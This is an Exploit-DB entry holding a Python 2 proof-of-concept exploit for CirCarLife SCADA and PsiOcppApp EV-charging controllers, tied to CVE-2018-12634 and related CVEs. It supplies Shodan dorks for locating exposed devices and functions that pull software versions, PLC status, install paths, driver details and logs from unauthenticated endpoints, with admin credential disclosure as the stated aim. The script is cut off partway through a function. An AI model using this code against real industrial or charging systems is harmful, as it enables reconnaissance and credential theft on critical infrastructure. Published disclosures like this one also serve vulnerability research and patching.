Exploit-DB #45384
Description: CirCarLife SCADA 4.3.0 - Credential Disclosure
Type: webapps
Platform: hardware
Date: 2018-09-12
Author: SadFud

Exploit:
# Exploit Title: CirCarLife SCADA 4.3.0 - Credential Disclosure	
# Date: 2018-09-10
# Exploit Author: David Castro
# Vendor Homepage: https://circontrol.com/
# Shodan Dork: Server: CirCarLife Server: PsiOcppApp
# Version: CirCarLife Scada all versions under 4.3.0 OCPP implementation all versions under 1.5.0
# CVE : CVE-2018-12634

'''
Description: Mutiple information disclosure issues, including admin credentials disclosure
'''

import requests
from requests.auth import HTTPDigestAuth
from termcolor import colored
from bs4 import BeautifulSoup
import xml.etree.ElementTree as ET
import re
import json
import base64 

cabecera = '''
                              _.-="_-         _
                         _.-="   _-          | ||"""""""---._______     __..
             ___.===""""-.______-,,,,,,,,,,,,`-''----" """""       """""  __'
      __.--""     __        ,'     CIR-PWN-LIFE  o \            __        [__|
 __-""=======.--""  ""--.=================================.--""  ""--.=======:
]       [w] : /        \ : |========================|    : /        \ :  [w] :
V___________:| SadFud75 |: |========================|    :|          |:   _-"
 V__________: \        / :_|=======================/_____: \        / :__-"
 -----------'  "-____-"  `-------------------------------'  "-____-"

'''

print colored(cabecera, 'white')
print colored('[*] POC for automated exploitation for CirControl SCADA systems (circarlife and OCPP (Open Charge Point Protocol))', 'blue')
print colored('[?] Vendor site: https://circontrol.com/', 'yellow')
print colored('[*] CVEs associated: ', 'blue') 
print colored('CVE-2018-12634, CVE-2018-16668, CVE-2018-16669, CVE-2018-16670, CVE-2018-16671, CVE-2018-16672', 'yellow')
print colored('[*] CirCarLife Scada versions affected: ', 'blue') 
print colored('[+] All versions are vulnerable. No patch available, last version 4.3.0 (09/09/2018)', 'green')
print colored('[*] PsiOcppApp (PowerStudio integration Open Charge Point Protocol Application) versions affected: ', 'blue') 
print colored('[+] All versions are vulnerable. No patch available, last version 1.5.0 (09/09/2018)', 'green')
print colored('[*] Shodan dorks: ', 'blue')
print colored('[+] Server: CirCarLife', 'green')
print colored('[+] Server: PsiOcppApp', 'green')
print colored('[?] More vulnerability POCs at https://github.com/SadFud/Exploits', 'yellow')

plcs = []
logutil = ['GPRS modem details']
autenticado = False

arr_versionessoft = []
arr_ldevstat = []
str_repository = ''
str_lversioneshard = ''
arr_logdetails = []
str_lsetup = ''
str_lconfig = ''

def lversionessoft(): 
    print colored('[*] Getting software versions via CVE-2018-16671', 'blue')
    leakv = requests.get(target1 + '/html/device-id')
    versiones = leakv.text.encode("utf8").split('\n')
    print colored('[+] Software versions collected succesfully', 'green')
    return versiones

def ldevstat(): 
    print colored('[*] Getting plc status via CVE-2018-16670', 'blue')
    leakstats = requests.get(target1 + '/services/user/values.xml?var=STATUS')
    statsraw = leakstats.text
    tree = ET.fromstring(statsraw)
    for i in range(0,len(tree.findall(".//variable"))):
        for j in range(0,2):
            plcs.append(tree[i][j].text)
    print colored('[+] information leaked from ' + str(len(plcs)/2) + ' plcs', 'green')
    return plcs

def plcstatus(code): 
    code = int(code)
    if code == 1:
        print colored('[+] OK', 'green')
    elif code == 2:
        if code == 0x10:
            if code == 0x20:
                print colored('[-] Error: Time out.', 'red')
            elif code == 0x40:
                print colored('[-] Error: Bad device.', 'red')
            elif code == 0x80:
                print colored('[-] Error: Bad phase.', 'red')
            elif code == 0x100:
                print colored('[-] Error: Bad version.', 'red')
        else:
            print colored('[-] Error: Unknown error.', 'red')
    elif code == 4:
        print colored('[-] Error: not initialized.', 'red')
    else:
        print colored('[?] Unknown code.', 'yellow')

def repository(): 
    print colored('[*] Getting installation paths via CVE-2018-16668', 'blue')
    path = requests.get(target1 + '/html/repository')
    rutas = path.text.encode("utf8").split('\n')
    platformpath = rutas[1].split(' ')
    platformpath = platformpath[0]
    appsrc = rutas[3]
    appsrc = rutas[3].split(' ')
    appsrc = appsrc[0]
    raiz = str(appsrc).find('/circarlife/')
    appsrc = appsrc[0:raiz+len('/circarlife/')]
    print colored('[+] Platform installation path retrieved succesfully', 'green')  
    return 'Platform installation path: ' + platformpath + '\n[+] Applicaction installation path: ' + appsrc
    
def lversioneshard(): 
    print colored('[*] Getting powerstudio driver versions via CVE-2018-12634', 'blue')
    basura = ['/li', '<', 'body', 'html', '>', '/ul', '/']
    hardleak = requests.get(target1 + '/services/system/info.html')
    hardleak = hardleak.text.encode("utf8").replace('<br />', '\n')
    hardleak = hardleak.replace('<li>', '\n')
    for caca in basura:
        hardleak = hardleak.replace(caca, '')
    print colored('[+] Powerstudio driver versions leaked succesfully', 'green')
    return hardleak

def logdetails():
    print colored('[*] Leaking sensitive information via CVE-2018-12634', 'blue')
    log = requests.get(target1 + '/html/log')
    log = log.text.encode("utf8")
    print colored('[*] Searching for modem id', 'blue')
    posmid = log.rfind('/modem-start: modem id: ')
    logarr = log.split('\n')    
    if posmid != -1:
        logutil.append('Modem model:')
        print colored('[*] Modem id located', 'blue')
        for linea in logarr:
            if '/modem-start: modem id: ' in linea:
                print colored('[+] Modem id leaked', 'green')            
                linea = li